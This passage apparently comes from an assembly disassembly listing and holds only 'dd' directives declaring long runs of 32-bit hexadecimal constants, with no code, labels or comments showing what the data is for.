0A8B12D1Bh, 0AD710F9Eh, 842B1A85h dd 3D64A30Dh, 85827F6Dh, 1BC3C010h, 9272B11Eh, 7A1B6311h dd 792F2D9Dh, 0B6F87F48h, 9023A33h, 3CC1045Dh, 0B7E58DD8h dd 0B21043BFh, 2DD66928h, 0AD3D6F87h, 8F5B6DEAh, 96905C5Fh dd 0B636ECF9h, 0F0DE313Ah, 597096ADh, 2D6D1462h, 49638708h dd 0EF76AB36h, 1E438B47h, 0C57037ACh, 49A85295h, 29A08B63h dd 0A9E0575Ch, 3CA6D33Dh, 0E14A93E1h, 0CBF9785Fh, 10AB5FF2h dd 8F57DDA9h, 0C84E0BCAh, 92A0DF70h, 0C08A3103h, 6C53BD44h dd 9EEF4B93h, 0C0696C9Fh, 0FC4A2247h, 356DC1C6h, 0C6875617h dd 0A0F008D3h, 5BEB92BDh, 5DEE6FB7h, 2DD547A8h, 91396D07h dd 0E35369EBh, 0E42EDE9Ch, 3BD73ED4h, 0CAC0096Fh, 5AF9F517h dd 0ECAB2D6Ch, 0C12A94E0h, 0CF360D3Dh, 7CA83004h, 0A27DC135h dd 0DE72D6D0h, 393877E6h, 65A05C92h, 2D375948h, 0BBC47688h dd 0BCFA7CD8h, 2172944h, 29541718h, 0A46AF077h, 3429456Ch dd 40FF5F9Ch, 0D99498A0h, 98BB29Dh, 7FA127D4h, 49CB6F88h dd 2773F12Eh, 33C2FE68h, 0CA01AE60h, 765C778Dh, 0BDE51CCAh dd 573B5740h, 0A6DF6B3Eh, 765B952Ah, 99078EDFh, 0C3A7BE91h dd 0BA151419h, 86230102h, 86353A93h, 0AAD618A0h, 92DC0550h dd 0F1FA107Bh, 0A97517F5h, 0FE603695h, 3B1877E6h, 0F19F8C0Ch dd 858A73A0h, 0CC14CC94h, 577FA51Ah, 834B61B0h, 9914F1A5h dd 1E6A3AD7h, 41A0D369h, 0BFC1BA4Eh, 683638AAh, 318A8FE7h dd 75ECB147h, 3AC772B3h, 35F7FD0Fh, 0FC79A97Fh, 0DAF112CFh dd 0CC529515h, 0B304E713h, 8E2EBF78h, 152466BBh, 53ACE3FDh dd 793F4B54h, 0B79731F9h, 4ECE513Ah, 6AF1A952h, 3E9F4DCDh dd 58DB27F0h, 83CFE2C9h, 4FCF2Fh, 0FE6A58B0h, 16012A90h dd 0F0E72707h, 712FA0E3h, 4BC8F4CBh, 61902472h, 0D2276B33h dd 47F9D9BFh, 0B1F4FDCEh, 37A8B9BDh, 0B1B02385h, 8DB3492h dd 47E2BA25h, 7FFB091h, 0B01B842Eh, 0A9C796B9h, 35D78C4Eh dd 0C1045147h, 93A8C2E3h, 3BED0FD2h, 1DFB3E5Ch, 0FDF4A910h dd 5C7F6778h, 6323BD93h, 69D7CBFDh, 0C3AC0B81h, 0B6F9F878h dd 76617952h, 0E9AA489Ch, 5D9509B0h, 79299899h, 85A330C6h dd 7107B49Fh, 0DD8926FFh, 0CFD877C7h, 0B11FA8E7h, 4323B124h dd 6691DC9Dh, 14CEB5B8h, 0D3BE9338h, 0B96EF50Bh, 0B45FDBDh dd 65D5DC75h, 3DE22D38h, 110DAA95h, 8BEABEE9h, 0EFF4883Bh dd 49EB72B6h, 20F8D122h, 0D98675F3h, 0F29923F9h, 0CCF879CDh dd 4D171579h, 0FD832AD0h, 98D08A87h, 3F9486A2h, 6945CB36h dd 0B75871F9h, 485F913Ah, 0F7AB2952h, 14911560h, 0BED17840h dd 172B3AA1h, 29BDCFF9h, 1345B409h, 5F114C95h, 97A848D2h dd 0F151C30Eh, 33F327DBh, 70133CDh, 7AB49432h, 0FF4ED67Fh dd 5DACE49Ah, 23FD2ADDh, 19B02245h, 7F858B6Bh, 8EF2D30Ch dd 58092A9Ch, 0B80C9AC7h, 3AC71EB7h, 0CA57C5DAh, 0C97A3952h dd 0C9196A93h, 2617391Dh, 5DEAC584h, 0DDE276BFh, 21D28C87h dd 3F908AACh, 39A313D9h, 0E7C02B1Ch, 16695CA7h, 0C357DCADh dd 7106D56Ch, 2C2D7B5Ah, 0D2A4FE0Dh, 49D0CF7Ch, 5CB5B89Fh dd 7EFED921h, 0A203B19Eh, 0D499213Eh, 0D961E150h, 2D108A15h dd 76F29CB1h, 0A9C8BE89h, 7CECE179h, 68953AC8h, 2EF02E40h dd 40869F12h, 0E53520Ah, 0E7C72B1Ch, 901B9CC0h, 0A9C7EE17h dd 0C53BE4E5h, 0BA6EF94Fh, 930E9D0Bh, 0C3D5DCFEh, 0A5EAA8ECh dd 2DDD42F4h, 8C67C0D8h, 8EA02CFAh, 89206888h, 48B25479h dd 0F262D1D5h, 0D6C356ADh, 0FF79446Ah, 0AC2FF4F5h, 812F98D9h dd 5EF6D8F9h, 301C4B0Ah, 57C13236h, 377D8807h, 22CFA81Ah dd 0FF823532h, 52FC9563h, 0F65B6B05h, 8B11461h, 900211DEh dd 2B8252DDh, 0C14832B4h, 5985C0D4h, 1B448B32h, 7DFF2E60h dd 0C8B3E6C1h, 802F06BDh, 0B607D91Bh, 36D6F5F3h, 0CA0DE2B6h dd 59E9D34Dh, 788350ACh, 0C345D40h, 863E808Ah, 9AC401D2h dd 1CD7E25Ah, 0DF362491h, 5571800Ah, 32E662BAh, 0F2D466Ch dd 0AD2CC843h, 833198D9h, 0AA5958F9h, 64A5A4F5h, 0C421269Ah dd 0D8187BD3h, 32E308F4h, 7F48CECAh, 0A2E480AEh, 0CCB16BD1h dd 705ED671h, 99F4E54Ch, 0D8E13AE5h, 0E1B4175Bh, 0D5852F47h dd 74F2443Ah, 0E7EB609Ch, 0EDE490C2h, 0A9C7DAAFh, 0CAB37BFAh dd 886E90C0h, 9F2A35Eh, 3BCD3A36h, 3AEA43EFh, 0A8FFB1F4h dd 15305287h, 625F4D9Dh, 77C8EBFFh, 0A2D90E81h, 555105DEh dd 32412938h, 3342604h, 0AE5F6CF0h, 2BB0F2C9h, 969C93F5h dd 9B5EA4F4h, 8894887Eh, 47E846E8h, 3E5FA423h, 0FCEB8125h dd 86EBDC9Bh, 0AA46922h, 12AAF370h, 0A4FBE175h, 0CB95C715h dd 8C4C072Bh, 0A5852EA7h, 0F4F24AAAh, 0EA0B6361h, 0A01B92C3h dd 0A9C7F379h, 0C8FC0CF1h, 0EC79C927h, 0DAF27D43h, 0CDED1B62h dd 68172B2Ch, 3DDAB148h, 0FB3EA178h, 43801516h, 66F70D4Ch dd 49C20B6Eh, 60CE892Ah, 226A174Ah, 0FCF4E093h, 862194E0h dd 0FD350CE9h, 53B01506h, 0A342A4F5h, 7741D8BEh, 992452E8h dd 9660B8E1h, 91B75AEAh, 5E20E965h, 0C15B84C3h, 0FB4E28BDh dd 45C83DC5h, 6759F629h, 9D6CEE08h, 4F168D4h, 5BB3Fh, 0D176573Ah dd 963A6C9Ah, 309E0283h, 41DBB4C9h, 405CA021h, 9D32D282h dd 991D2974h, 0C43833B3h, 0EE821618h, 513FA0Ah, 0E5968843h dd 20ACE3B0h, 438BBDC6h, 4D4C32D5h, 0CA566AD1h, 26B456Fh dd 48CFF160h, 0E337E769h, 0A986303Eh, 0CC4CB4F5h, 1C712695h dd 0C52FFE14h dd 8C205706h, 0FE7429A6h, 2CE88913h, 6B582F98h, 0E1B9D2F0h dd 0F104F10Dh, 0BB18BFE1h, 0B72B22F4h, 0FCFC4A6Dh, 0E4022E7Ah dd 60F96189h, 757427FEh, 0BFFE1685h, 0B9A12B71h, 0F09639E7h dd 1A65CC65h, 0BAEF5E5Eh, 5E0CCAE9h, 2D28DDE1h, 0A30B197h dd 86F4CD81h, 7428805Dh, 3C064B18h, 7419A96Fh, 3D1AC9F3h dd 72EDFC7Ch, 514425F5h, 0E700E2C9h, 265CA7F6h, 762EB515h dd 7724AF92h, 6964FCh, 0A0FA811h, 5220ABDFh, 2D152C1Ah dd 0A52D9205h, 130B5D75h, 0F2F0B488h, 2523A10h, 5058B5DAh dd 32F34020h, 1E7B4CB2h, 9C0CE01Dh, 8513A48Bh, 39C7FA87h dd 341D040Dh, 8C02091Fh, 0CBFCA8EFh, 0ABC7F4EAh, 750FB59Ch dd 0A6883DD0h, 10E376C2h, 76CBE986h, 60671B65h, 3B1A5B1Ah dd 4322F53Fh, 363A1042h, 0EDE995FBh, 669C0DE1h, 82B0E522h dd 0F59DBB05h, 785B405h, 67062986h, 7A99797h, 0B6D6AA23h dd 0F3722F2Dh, 0EA9FF17Ah, 42B11ECAh, 0E65ED197h, 0EA1D85D5h dd 8E1EC4DBh, 0E1A0CF88h, 17755119h, 0E5120E8Bh, 9EFBAA1Bh dd 920FAA8Ah, 323BBB02h, 35F02D6Bh, 0C6992017h, 2A6FD394h dd 3512BC1Ch, 0C7EE70A5h, 683FBB05h, 0F92F077Fh, 0EF33559Dh dd 3323FF19h, 3BA19B6Dh, 4775E16Fh, 399DB5D7h, 0CEAC57Ch dd 6F9F0FE0h, 3591F7F0h, 28F120F9h, 2362B21Eh, 0B781D63Ah dd 0E478DBB5h, 39A32BF3h, 93B75481h, 2F11B990h, 0AD892CFh dd 9EC5E692h, 91447925h, 0E07D7D0Fh, 942BD751h, 0BC38C8ECh dd 0EF1ED893h, 5576835Dh, 7DA1D730h, 0E542F600h, 0E10918Ah dd 0C4FC954Ah, 411426B8h, 275A1728h, 4CEEE869h, 0A48EDDD0h dd 78C4F7Fh, 0A4EACB9Fh, 4D0461D5h, 0B07666ACh, 78A04E3Ah dd 385D396Fh, 0AD77327Ch, 84DB746Ch, 4C3035F0h, 7860B329h dd 0C575F17Ch, 27258785h, 3516714h, 0FF0F3FECh, 0C4B4A53Ch dd 5D514592h, 554D0A3h, 7773EA4Bh, 2614F22Dh, 8B09999Bh dd 0F6992F34h, 83AAD66Fh, 24718D38h, 0E7BAE59Fh, 21454D22h dd 80D7F67Dh, 0E59796B1h, 4A889874h, 8F64BBE3h, 0C39608ADh dd 75E54925h, 0A9BB9105h, 56E506Ah, 66339095h, 3583D020h dd 5CEC476Dh, 37A08411h, 0CC54E265h, 5318C1ABh, 95A48410h dd 5261F2C9h, 7005C4BCh, 460D4459h, 0C64A69E3h, 0D2E472EBh dd 94BEB8E2h, 0FA7A42Ch, 6A4849B3h, 0BDA48529h, 14B65278h dd 0E8EF14ADh, 0C26D7B3Dh, 442BD762h, 2C3FCAAAh, 0EF0ECE15h dd 52748146h, 7DA6D8D2h, 8233B0E4h, 0C55C1FAEh, 0C4FC6B7Fh dd 4119FB58h, 275A68E8h, 4CED53E9h, 0D5F1EDD0h, 59EB560Ch dd 0EFD7E9E6h, 0B68D4319h, 0ED20FBE4h, 0AA1170C6h, 0B1E96CD9h dd 0FFC0C070h, 0D03E94E0h, 7566CB31h, 0B283009h, 0AE303FE6h dd 0C0218A35h, 0A9219C04h, 78D440A7h, 61722D24h, 12FC8904h dd 9F2F696Ah, 0F7145895h, 48E8A75Ah, 1E1EC4ECh, 89E3B6CBh dd 60BBB9CBh, 0CD28059Eh, 1385E4D0h, 0C06F6AB2h, 49775689h dd 29898AAEh, 0C97927E2h, 91B3E1D3h, 0F08E6C14h, 4C1DB0A1h dd 92396740h, 56E5487h, 0C226C43h, 9260DBA3h, 88C1BE91h dd 265C995Eh, 3810DCADh, 86F8C56Ch, 95B684C5h, 0D18971C9h dd 0FC6366AAh, 0BF65C90h, 0B41AA39Eh, 0DE4BFA52h, 0C91BADD9h dd 85C1B4DCh, 6894C9B4h, 0DDD68529h, 1FC4392Eh, 225DF2D1h dd 0C395529Ch, 51A02AB7h, 0BC3F861Bh, 64F28C9Dh, 0EBDD8541h dd 6BDAEDBh, 5138093Eh, 35009AA8h, 0C9E37284h, 0CAF8511Bh dd 6C10D9FDh, 19655B2h, 203D0430h, 56E5687h, 0A59A0D9Fh dd 760804D1h, 0F24BE91h, 424CB92Ah, 6BF52007h, 5214123Ah dd 85C20FE8h, 0AE5E2D40h, 0FE3343FDh, 0DD33B082h, 4BA12AD3h dd 0AE002713h, 0BADFA8E6h, 89BCA818h, 9E9D3C8Eh, 5FA0E200h dd 5C108EA5h, 0CE89318Ch, 1C29B5B6h, 0B1A03F27h, 839FC816h dd 67A18471h, 62FF6170h, 79A1DC2Ah, 7E3FB0FCh, 350066E3h dd 0D9627B57h, 43E5FB68h, 76587898h, 99446A0h, 0D1F1E84Ch dd 557A1D0Ch, 36D7B89Dh, 26F086D1h, 0B0CBFEF9h, 5723B13Ah dd 0FC936952h, 845C4C7Ch, 97767CB5h, 82B17BC9h, 0B671DC70h dd 566D0B78h, 7F6C2696h, 23C87714h, 0BAFA21B7h, 0D8E4A030h dd 8E4947D8h, 0BAB4E0A2h, 0FF0B5C7Dh, 0FC8FA481h, 0F4C668BAh dd 915CC732h, 0B4BAC453h, 9887B594h, 0C8766978h, 7AD553CDh dd 0E7980DFEh, 68EC13F9h, 0EE35F69Ch, 0CAEDBE93h, 60360868h dd 0C9F55E3Ah, 0A4B462D7h, 0FA916744h, 63B206E9h, 9DF703DFh dd 0BCD41389h, 4A08F27Dh, 28787A02h, 0E78E450Fh, 95B19004h dd 507B364Ah, 2E766F3Fh, 29D877A8h, 0E6ADAB96h, 23A87714h dd 6ABA21B7h, 0DC27F957h, 0D7188904h, 82ACD0A2h, 7F4DAA95h dd 0ADC071D1h, 46CEE0B7h, 0F1DFB2E4h, 0D39FC816h, 0F48701CBh dd 1BBAE65Ah, 8DA1DA77h, 0DA579D29h, 0A0E88A9Eh, 4A897B53h dd 964AE47h, 34AF5A98h, 8A154CA7h, 0A4B47B44h, 5835025Fh dd 0F65765D5h, 0E69843CCh, 2038FE01h, 0D2DD89BAh, 52F66007h dd 0EBEAAD93h, 0ADDA94E0h, 0BD7DF2BDh, 75240506h, 0DF39B4F5h dd 0C10126B3h, 2F64F414h, 0B3C8FEB1h, 89DD4CB9h, 84076F67h dd 9963CC29h, 7B4ED181h, 0BE121AD1h, 14FF38B6h, 0DDE5B476h dd 483FCA13h, 739464D2h, 0D37C6D0Ch, 61A1D830h, 463BB8F8h dd 35009872h, 0A380904Fh, 0D90356B5h, 0F08A817Dh, 13F94D67h dd 603F379Eh, 8E73A77h, 66C7F116h, 0B55537D5h, 9714F301h dd 424D392Ah, 6BF62007h, 5212123Ah, 85C60FE8h, 0D805A49Ah dd 252C7572h, 5646731Dh, 0D1F5A596h, 271D872Dh, 3834776Bh dd 68BE5BEDh, 0D84F92D0h, 0DEDB18EAh, 24AB5828h, 0C114B75Ah dd 0AB997D3Dh, 61A87AADh, 1E312Bh, 0F7546492h, 0D37C6D0Fh dd 0DE27D831h, 54A3620h, 35009AB1h, 0EE35F637h, 0CAEDBEA3h dd 0B808B00Eh, 0BE3995A8h, 0ED317D40h, 0ED3E47F3h, 66C78C7Ah dd 8D89A005h, 0B0A84F91h, 81163C58h, 52F6E007h, 0EB19AD93h dd 0ADD494E0h, 0BD61F2BDh, 751C0506h, 0DF29B4F5h, 0C12126B3h dd 2BA4F414h, 0B348FEB1h, 96DD4CB9h, 82066F67h, 9D63CC29h dd 734ED181h, 0CD3971D1h, 0CB853846h, 14672A53h, 0D07AB117h dd 64F28C83h, 179BBD67h, 924AB932h, 3A9EF57Fh, 0DDFF66DFh dd 0C9897B3Dh, 0CC87B6B8h, 33C16D55h, 13DE526Ch, 603F359Eh dd 8E72677h, 66C78916h, 0B55507D5h, 9714D301h, 424DF92Ah dd 0B3447F01h, 5C886130h, 95AA2708h, 1FFAABC9h, 351BC79Fh dd 0DCBFC0F5h, 29012ED5h, 0DCD78B44h, 321C6FBBh, 9137A4DCh dd 6108F04h, 8AAAE9E9h, 6F562A95h, 4181ABD1h, 15163BC2h dd 4DE3B4D9h, 9F0E81C6h, 0FDB464D2h, 92A66D0Eh, 6E725E3h dd 0FA4C0A8Fh, 20E8CAB2h, 907684DBh, 0CAD1FC84h, 55D3869Dh dd 4C9D08DBh, 0D2854534h, 21D358BCh, 13D785E4h, 0CB0C3451h dd 0A0A8DCB5h, 424D992Ah, 0B955E0B9h, 0F99C593h, 0C65FF6E0h dd 268E2D21h, 4CFF6906h, 57BE7393h, 0C50AA596h, 6B4BFAEBh dd 0B697EB6Bh, 0D23EEC9Fh, 0C857419Fh, 29B0D6A0h, 28C7993Eh dd 0C1477FFDh, 268D7B3Fh, 12297765h, 839CC73h, 0E9EECF0Ah dd 5476454Dh, 0DA14D80Ch, 3404AE1Dh, 35009A35h, 0EE35F62Fh dd 0CAEDBF73h, 59360FA8h, 0A8916213h, 15DC78C0h, 617E46F3h dd 66C7B4E9h, 0FF6CFB5Ch, 0B0A83EB4h, 4EA13A2Ah, 0B145FF01h dd 9F1AD09h, 95AEC708h, 9CB0ABC9h, 75103005h, 5FE03FF5h dd 3F93CEC6h, 0A9B188EBh dd 765C4CA7h, 90DF5B20h, 6A14CC8Fh, 4EA2FF20h, 674EC0E1h dd 348F3188h, 0E0CB6753h, 0D55072ADh, 7A4CD5h, 87B8C83h dd 0A872AE54h, 85E4512Dh, 0B5E3A1CEh, 73744803h, 0CDAD379Ch dd 8E677F52h, 0BA848EF9h, 48E78963h, 0F4434432h, 716DA904h dd 0EE0DB41Eh, 340445Bh, 7169876Bh, 8A4F51CAh, 0D8D3A8DBh dd 8653C47Ch, 965A0731h, 0AD7B1B08h, 0F0A7C3FFh, 0DFABC027h dd 0B42B6191h, 644328EEh, 0B6DCACC6h, 92B7A463h, 0A9A8418Fh dd 0A0A49529h, 47025A2Eh, 5D5879C1h, 0AFC1B3BFh, 1BA7D42Ah dd 8379C95Eh, 0AD77C5C1h, 5374987Ch, 46BF590Ah, 0BDE3B9CCh dd 34EB500Bh, 0C9B3FB5Dh, 1A644566h, 0BE104F14h, 4C1D05D3h dd 0A08E7C0h, 56E4A87h, 2A4CCE45h, 2A820778h, 7F210EB5h dd 0CB0981A3h, 2A986A88h, 0DD1E55E4h, 5D307695h, 49B8A996h dd 5144BBAAh, 73C93FFDh, 2A5BAF9Ah, 1A283515h, 0D0A5DDE2h dd 1974E6DEh, 0B16448Ch, 2B52E0E9h, 0D28D8AB5h, 6104F26Eh dd 0BC29B5B7h, 0F1A03F26h, 0B2D170Fh, 6FE2A8DFh, 97EB494Ch dd 0A5915117h, 8C2C2DC0h, 418B4577h, 40CF6F23h, 0CAD53FF3h dd 0EB5A8368h, 0C55A26C7h, 15A2E1B8h, 46853897h, 72E3D19Dh dd 2609A553h, 0A78A06C2h, 86CD192Ah, 0BDD6605Ah, 3E57B0ACh dd 0CEE4DB20h, 0D9027F0Ah, 0B58768A0h, 0AB7D37F6h, 0C181357Eh dd 7168FE14h, 0B40F3821h, 327344Ch, 1C845C1Fh, 3C3405B9h dd 4B4EEC2Ch, 2589F2D1h, 7FE73093h, 0C1A0D6A7h, 4057415Ch dd 0E1F28C90h, 7FF5009h, 69975128h, 594E3462h, 0F9899B7Fh dd 89027384h, 5A2EEF37h, 0B0360E28h, 1A4E1000h, 39E9FF97h dd 8C660B0Ch, 234C6D53h, 666CEC50h, 702D3818h, 42ACBD25h dd 4596A952h, 8A9A4560h, 95BB844Eh, 306FB742h, 75003029h dd 6C9DF77Eh, 0CEC636D5h, 36F69F47h, 0A186A8E2h, 3BBAB1Ch dd 0EB14CC8Fh, 0AAA496DEh, 3D18C509h, 0AD4179DBh, 6C17D0E7h dd 0F5233F26h, 0F03FC850h, 0A1358B6Bh, 17FF6DFBh, 75A1DA29h dd 3C3FB0C4h, 0BE0EEE36h, 9C0282B2h, 8A3D90DFh, 0D83FCED4h dd 0A06895AFh, 0A65878CBh, 56E508C4h, 0EF164406h, 0B305719h dd 77A1BD65h, 4248216Fh, 45926952h, 4A069298h, 0D61FD41Ch dd 0C549A2D9h, 0F743CF07h, 1286B831h, 4B59276Ah, 0C0618B51h dd 0AB0FEB6Fh, 154DA5CCh, 2694F9Fh, 0DBAFE129h, 935D2A95h dd 1981ABD0h, 0BD1030C2h, 0EEF2BA56h, 371CBEA1h, 10FA8C87h dd 0F6173E04h, 0DCE45109h, 30CBB0A4h, 50F76377h, 4279546Fh dd 1B644286h, 0C2245A8Ch, 0C5464133h, 0BD775B2Ch, 5496E0Ah dd 0C23E043h, 9291C3A3h, 88C3CE91h, 2658F95Eh, 38191CADh dd 86E8456Ch, 959584C5h, 0D44F71C9h, 0FDEF66AAh, 0AFE5C90h dd 0E670759Eh, 6E3877E2h, 0DCA3BD1Dh, 5DB2B4DCh, 0FA7EC4FAh dd 8ABCEAC1h, 0CA89887Dh, 0C104F22Ch, 1FD6B3B7h, 31F3C009h dd 80A0A907h, 0CC198C84h, 9C132889h, 0CE4DA1Bh, 0FC4C1174h dd 708BCBC2h, 0A8612D83h, 49EDBADBh, 0B8108059h, 996F749h dd 6C5C57A4h, 5C6E149Fh, 993A2895h, 2856736Dh, 40E625CAh dd 4245104Eh, 0B118E952h, 0B4E9880h, 0B22A09E0h, 0D8A5F2C9h dd 2751B9ACh, 0A14CE3A3h, 0D3296EFCh, 6708771Ch, 0E11A6B6Bh dd 75E4FDA8h, 0F814DA5Bh, 9CE11E70h, 0E92F4h, 8A8DE295h dd 2FFF6BF3h, 38C0570Ah, 5F1515Eh, 6498DC89h, 0EAFF78FDh dd 426D4104h, 3CC3B6BAh, 0CA0AEEEAh, 0C975ED7Ah, 212B33E3h dd 632B01E3h, 0B1190B13h, 0D28910C0h, 7091E978h, 0F6D39E1Ch dd 0FF19BBA0h, 39AF5557h, 115D52D2h, 0C7EFC2BAh, 0F90A1C93h dd 7DC18394h, 0D8A7FA89h, 8B78B3A0h, 0A3EEAAAh, 0E54DAB55h dd 3FE87714h, 375540B1h, 5DBEA4DCh, 0F1610C0Ah, 0EB4C9443h dd 0DE4ED16Ah, 4E008951h, 4F6AC748h, 0B5E3B453h, 0A06FBE0Fh dd 0B7E28C79h, 17E9BED5h, 858E0805h, 44CFE0CAh, 0F65B8B26h dd 0EE35F0C7h, 0CAEDBAE3h, 17AF0B8Eh, 11681FA0h, 2DB40128h dd 3120F085h, 0C59F7D16h, 660935CCh, 0B0A0CD79h, 4D89DC2Ah dd 3818BFD6h, 1AE92D6Ch, 551584E0h, 0D86076C6h, 0ED4430F9h dd 0BF6DB4E2h, 0C2E13162h, 3FD428FCh, 3DE540E2h, 9B48A4DCh dd 0F6143CD7h, 90493192h, 7C4B3A6Dh, 0BDC771C3h, 0E631C336h dd 62D22F59h, 0C07AD0B6h, 408E0F85h, 6C8A6D31h, 75BC6C85h dd 0C7C7E537h, 0D8A4204Ch, 0CC626D5Fh, 96EA96Ch, 97280839h dd 3E0D1981h, 75B9FD33h, 0EE7E1A77h, 9E56D804h, 0D541DB5Ch dd 0A0AB6601h, 0ECC6DD5h, 0BB0829A5h, 0F76D551h, 70E484F0h dd 0D8B22D21h, 6192D8F9h, 92BDB4F5h, 4011269Ch, 3F5EFB29h dd 132BA8F2h, 9FB7A4B4h, 4614A68Fh, 82A463A5h, 0F35B2E2Dh dd 6614F22Dh, 1B63B4B2h, 0F1A03F49h, 0B169AA5Fh, 67E66745h dd 14F34940h, 858E5972h, 0B9D23ED1h, 34B8C21Eh, 92897D47h dd 5AEDB641h, 60360048h, 11964E7Ah, 3DC1884Ch, 81BC702h dd 969E4895h, 309C35Ch, 5B6A5F95h, 43B29A7Dh, 0C398EC26h dd 5981B06Eh, 9DD70FB3h, 26631A99h, 0B421CF06h, 40B8A81h dd 9309631Dh, 0C07948FCh, 0A158211Dh, 8FC2A527h, 0E861330Ah dd 17A4FF7Fh, 131ED938h, 56FB0C78h, 0EEE1E332h, 0A4A3C4DBh dd 0CB29174Eh, 8CA284CFh, 0E80093A8h, 87919185h, 414E0A0Ah dd 685BC545h, 5989718Dh, 0CACAC63Eh, 0B0360028h, 1A4E0000h dd 25F18797h, 0C46DDE04h, 86077FFEh, 76B95652h, 39AA7ED1h dd 40AEF8DDh, 25114105h, 86D0456Ch, 55167CA5h, 0DD68E3BCh dd 64A0C66Dh, 5745B4F5h, 0FDD8E6A7h, 9E687716h, 32DEAD7Ah dd 0E5A3B157h, 3515DC8Eh, 0EB5CD012h, 63535A69h, 3014F3D5h dd 0EB943D2Fh, 0CF29F859h, 0EB78AF9Eh, 1CB70787h, 0CD76AEB6h dd 556D9328h, 494E3214h, 0B8027BD7h, 0DC007E23h, 0DAECBF37h dd 0F1FA73D4h, 0D4BEC825h, 8CA40C45h, 156EF007h, 5FC2CD95h dd 0F504969Fh, 0B05AC6ACh, 0C746D93Ah, 381B6820h, 0F794DCDh dd 61D90DF0h, 2839EF40h, 311720F9h, 0D44E3D01h, 4A6F2255h dd 3FB8F709h, 0D29B09F2h, 2032B4DCh, 3A2DC8FBh, 852D935Fh dd 0E34E21F9h, 99090259h, 421538B7h, 0E1209E5Bh, 84F7515Fh dd 0E451703Ah, 9CEF6DCFh, 8514D117h, 0B4377C2Fh, 0B5009B12h dd 270A7FB6h, 0CE2E3851h, 33230E1Ch, 0B045967Ch, 0DD2C3BFBh dd 37191287h, 96563C2Dh, 647EFB5Ch, 0B05AD230h, 4D8FC03Ah dd 0D898F9C5h, 0FFCDCC6Dh, 13C970Bh, 0E1A3F239h, 0A40F3F3Fh dd 0D7B45476h, 86D82456h, 0CF6DFCE4h, 17649809h, 0F137547Ch dd 7FB5D9F8h, 0A3B495D9h, 3FD9DEBBh, 2051253h, 9E1C3C77h dd 0D0B3D4A8h, 907AB1FBh, 73FD4AB3h, 161FEEEEh, 0CE29180h dd 0FC4C0544h, 0C5B038FEh, 79286D27h, 41FDBBB3h, 0C38F0B99h dd 9940B2Ch, 58748AA8h, 0E9338DACh, 0C72E589Fh, 660903ECh dd 0EC2F3218h, 0E35999DAh, 281A19E2h, 0FF24C055h, 80E094E0h dd 0D8454268h, 843893E9h, 5D56A4F5h, 48A9631Dh, 7A818F54h dd 0CBDA230Eh, 6A4BE755h, 0BA9D24DAh, 88F11ED1h, 60B28BF5h dd 0CA8D1E95h, 6A65B14Fh, 8B293DB8h, 32F38376h, 0C5C1058Fh dd 7FF9D8Eh, 0D9614D85h, 52D7F5F3h, 9905640Ch, 68997DDFh dd 0DAED4BDFh, 6F56B27Eh, 4C0D1A1Ch, 0D5370DB5h, 0BD887A80h dd 66C60117h, 0B58A9CB7h, 95A9B56Dh, 3DB646D5h, 7D935953h dd 27BCC90h, 159F84E0h, 5816F140h, 0F9803009h, 0D40604F1h dd 48612666h, 3C18F701h dd 0AADC23F2h, 0F7BC589Eh, 0F1143C0Fh, 6B58D0A2h, 674ED17Ch dd 348FF059h, 3B80B344h, 38B03FA8h, 29B8099h, 0E4FF46A2h dd 9E7F6D39h, 0C669554Fh, 0A02FA501h, 6CFF64F5h, 0C9897CAFh dd 91B3E463h, 0F08E6254h, 4C1DA521h, 92390940h, 56E0887h dd 0E5239443h, 205927B0h, 3B713FC6h, 82C9516Fh, 3AF2A851h dd 8C89B5E1h, 90EB801Eh, 0D8B9F677h, 4F7301F9h, 545D2CC0h dd 0F8535186h, 3C38E721h, 820DDFF2h, 0F2B75450h, 791B0AB6h dd 614416F9h, 8BE94F5h, 899053C3h, 4DAC28B8h, 1270A857h dd 0F940B8h, 94B70589h, 0FC0F28B2h, 25D16A3Eh, 0CED7F5F7h dd 0C59C3A17h, 0FB06D1Fh, 493D2C1Ch, 0F3508EDDh, 0BC589C68h dd 8915192Bh, 3C7E0A77h, 0B65116D0h, 0F50BEBDFh, 0F5231851h dd 0B20FF2DAh, 99EE6CDBh, 1F8AB5C0h, 0E86DC1D9h, 28175389h dd 310120F9h, 0DFA35F01h, 931CD2D3h, 0C8FDFE15h, 7FDAAC69h dd 6A27A42Ch, 9BD4494Ch, 92243409h, 1FCDC17Ch, 14C7CB2Ch dd 67CEB3BBh, 7A5C62D1h, 0F38D7863h, 18A90783h, 62033003h dd 0F61368FDh, 4DBA760Fh, 0CC0E776h, 9FAB0EF0h, 3511C4EBh dd 0F356D6E2h, 4E209123h, 9D150B40h, 8C7E0C77h, 7A4DE153h dd 76FA4FD9h, 5B916581h, 0B6379A23h, 0C71E9752h, 0F7033121h dd 0D01374C9h, 0DC457125h, 75FDB2F6h, 0CC3CB4F5h, 0FA912666h dd 0AFF9B51h, 2C6F3843h, 0FF29DCCh, 60B5DFF8h, 55B495D9h dd 4C413D39h, 68E47100h, 80717D31h, 21349E4Ch, 5435158h dd 0B4658364h, 94FE8DBBh, 0C06D53C8h, 5D827EEFh, 95A1AF91h dd 0F0997DFFh, 0DC9A5776h, 332313DCh, 0A0582DFCh, 0AE6483CFh dd 0C5ED0F67h, 82839812h, 0D2AB0FB7h, 89BAFE61h, 0D545D56Fh dd 39FD2A82h, 868385EFh, 0D01060A5h, 30FA7B2Dh, 4D747572h dd 0D08A5CB0h, 0C3B12676h, 0B594349Fh, 71E448A7h, 6F00D13Ch dd 0E9D338CAh, 6E54C9ACh, 0D74ED16Ch, 0A54179D0h, 8B393D81h dd 7ED52F58h, 58547B3h, 0F4F27C24h, 170FC19Ah, 0D8D219h dd 0A9C70551h, 0B605EE76h, 2FF57B0Fh, 896684C8h, 0EF961AA5h dd 0C7C13927h, 6F3DC505h, 0E53A5B7Bh, 0EF1AA89Dh, 33815B1Eh dd 35B1F565h, 52442976h, 7D8A6427h, 0D3E84E98h, 0D6F19069h dd 53F1F239h, 70B7D8BCh, 54FDE870h, 20E4AF86h, 1F3DB791h dd 0A1FFF56Bh, 0A93C7881h, 5F084567h, 58A46575h, 2AA694F7h dd 0D9F45ED5h, 0C08646A8h, 0BD03D71Eh, 2B6A41AAh, 0B8B70785h dd 9E072DB8h, 0C06FB13Fh, 45847D33h, 0BCDCC939h, 9C028725h dd 36B73F33h, 0BA33D536h, 996972Fh, 0EC76AF2Ch, 0DCE6D065h dd 274F383Fh, 9F092258h, 0B0ADDE19h, 0CBA8BCA1h, 3AE3E890h dd 0DE959CE5h, 371C569h, 539619CAh, 31B1CCBAh, 0B0288F11h 